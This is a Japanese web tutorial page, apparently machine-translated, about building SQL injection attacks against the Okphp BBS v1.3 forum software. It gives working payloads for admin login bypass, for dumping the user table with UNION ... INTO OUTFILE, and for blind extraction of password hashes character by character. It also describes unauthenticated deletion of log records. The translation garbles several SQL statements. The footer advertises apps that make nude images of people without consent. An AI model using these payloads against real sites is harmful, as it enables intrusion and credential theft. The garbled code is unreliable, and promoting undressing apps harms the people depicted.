PHPの攻撃手法について語る php+mysqlインジェクション文構築_PHPチュートリアル
1. 前書き:
バージョン情報: Okphp BBS v1.3 オープン ソース バージョン
PHP と MYSQL 自体のせいで、PHP + MYSQL のインジェクションは ASP よりも難しく、特にインジェクション中のステートメントの構築はさらに困難です。この記事は主に、Okphp BBS v1.3 のいくつかのファイルの簡単な分析を通じて php+mysql インジェクション ステートメントの構築方法について説明します。この記事があなたのお役に立てれば幸いです。
免責事項: 記事内で言及されているすべての「脆弱性」はテストされておらず、実際には、抜け穴があるかどうかは重要ではありません。
2.「脆弱性」分析:
1.admin/login.phpインジェクションにより認証バイパスの脆弱性が発生:
コード:
$conn=sql_connect($dbhost , $ dbuser, $dbpswd, $dbname);
$password = md5($password)
$q = "username='$username'、password='$password' の $user_table から id,group_id を選択します。 $res = sql_query($q,$conn);
$row = sql_fetch_row($res)
$q = "username='$username'、password='$password' の $user_table から id,group_id を選択します。
select * from $user_table where username='$username' andpassword='$password' のようなステートメントを変更するメソッドは次のとおりです:
構築 1 (論理演算を使用): $username=' OR 'a'='a $password =' OR 'a'='a
SQL ステートメントと同等:
select * from $user_table where username='' OR 'a'='a' andpassword='' OR 'a'='a'
構築 2 ($password をコメントアウトするには、mysql のコメント ステートメント # # /* を使用します): $username=admin'# (または admin'/*)
つまり:
select * from $user_table where username='admin'#' and password='$password'"
同等:
select * from $user_table where username='admin'
admin/login.php の $q ステートメントの $password は、クエリの前に md5 暗号化されるため、使用できません。ここでは、構成 1 のステートメントはバイパスされます。
select id,group_id from $user_table where username='admin'#' と、password='$password'"
以下と同等です。
select id,group_id from $user_table where username='admin'
これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名が不明な場合は、対応する ID のみがわかります。
次のように構築できます: $username=' OR id=1#
これは次と同等です:
select id,group_id from $user_table where username='' OR id=1# and password='$password' (# 以降はコメントアウトされています)
次にコードを見ていきます:
// 管理者またはスーパーモデレータでない場合
if ($username != "admin" && !eregi(" (^|&)3($|&)", $row[1])) {
$login = 0;
}
else {
$login = 1;
}
}
// ログインに失敗します-- ------------------------
if (!$login) {
write_log("モデレーターログイン","0","パスワードが間違っています");
echo " ";
exit();
}
// Access ! ------- ------
else {
session_start()
最後に$で判断します。ログインする必要があるのは、IE を介して直接 $login=1 を送信することだけです:)。
コード:
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$username フィルタリングを行わず、1 と同じコメントを使用し、password='$md5password'";
3. adminloglist.php に任意削除ログレコードの脆弱性が存在します。(追記:これは php+ とは関係ないようです) mysql インジェクション、言及してください)
okphp バックエンドは非常にずさんに書かれているようで、すべてのファイルは管理者がログインしているかどうかをチェックしないため、任意にアクセスできます。 list.php のコードを見てみましょう。
コードをコピーします
$arr = array("del_log","log_id","del_id");
get_r($arr)
//
省略…
if ( $log_id) {
foreach ($log_id as $val) {
$q = "id='$val' の $log_table から削除します";
$res = sql_query($q,$conn)
if ($res
}
$ tpl->setVariable("message","$i log added ok!");
$tpl->setVariable("action","index.php?action=list_log")
}
コードget_r($arr); を使用して、送信されたパラメータを決定するだけです。必要なのは、対応する $del_log、$log_id、$del_id だけです。削除は成功します。
4. 複数のファイルは変数をフィルタリングしないため、SQL インジェクションの脆弱性が発生します。
okphp の作者はフィルタリングが好きではないようです:)。基本的に、SQL ステートメント内のすべての変数は「裸」です。特定のファイルはリストしません。コードを読んでください。forumslist_threads.php を例として簡単に説明します。
list_threads.phpのコードを見てください:
コードは次のとおりです:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num ,recovery_num,post_num from $ type_table where id='$forum_id'";
以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id , topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' Union select * from user_table into outfile '/path/file.txt'";
上記の方法はより要求が厳しく、次のパスを取得する必要があります。 Web (通常、間違った変数を送信して mysql にエラーを報告させることで取得できます)、PHP の magic_gpc=on オプションにより、インジェクションに一重引用符が表示されるのを防ぎます。 magic_gpc=on の場合は、以下をバイパスすることもできます。
構築 2: ASP クロスデータベース クエリと同様に、union select を直接使用してステートメントを構築し、返される結果が異なるようにして解決策を推測します。このメソッドは一重引用符 (magic_gpc. =on) 注入を続けますが、この注入は、特定のコードによっては php では比較的困難です。具体的なステートメントの構築については、pinkeyes の記事「php インジェクションの例」を参照してください。以下に、okphp と組み合わせて「異なる戻り結果」インジェクションを使用する例を示します (脆弱性 5 を参照)。
問題のコードは脆弱性 1 と同じです。
ステートメントの構造(追記:ステートメント自体はユーザーライブラリを操作するものなので、unionを使う必要はありません):
$username=admin' AND LENGTH(password)=6#
SQLステートメントは次のようになります:
$q = "select id ,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and passwd='$password'" 以下と同等:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
LENGTH(password)=6がtrueの場合は正常に戻りますが、trueでない場合はmysqlがエラーを報告します。
このようにして、ユーザーの管理者パスワードのハッシュを推測できます。たとえば、 $username=admin' ord(substring(password,1,1))=57#
ユーザーのパスワードの最初の桁の ASCII コード値を推測できます....
http://www.bkjia.com/PHPjc/320715.html
www.bkjia.com
true
http://www.bkjia.com/PHPjc/320715.html

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

PHPの魔法の方法は何ですか? PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。
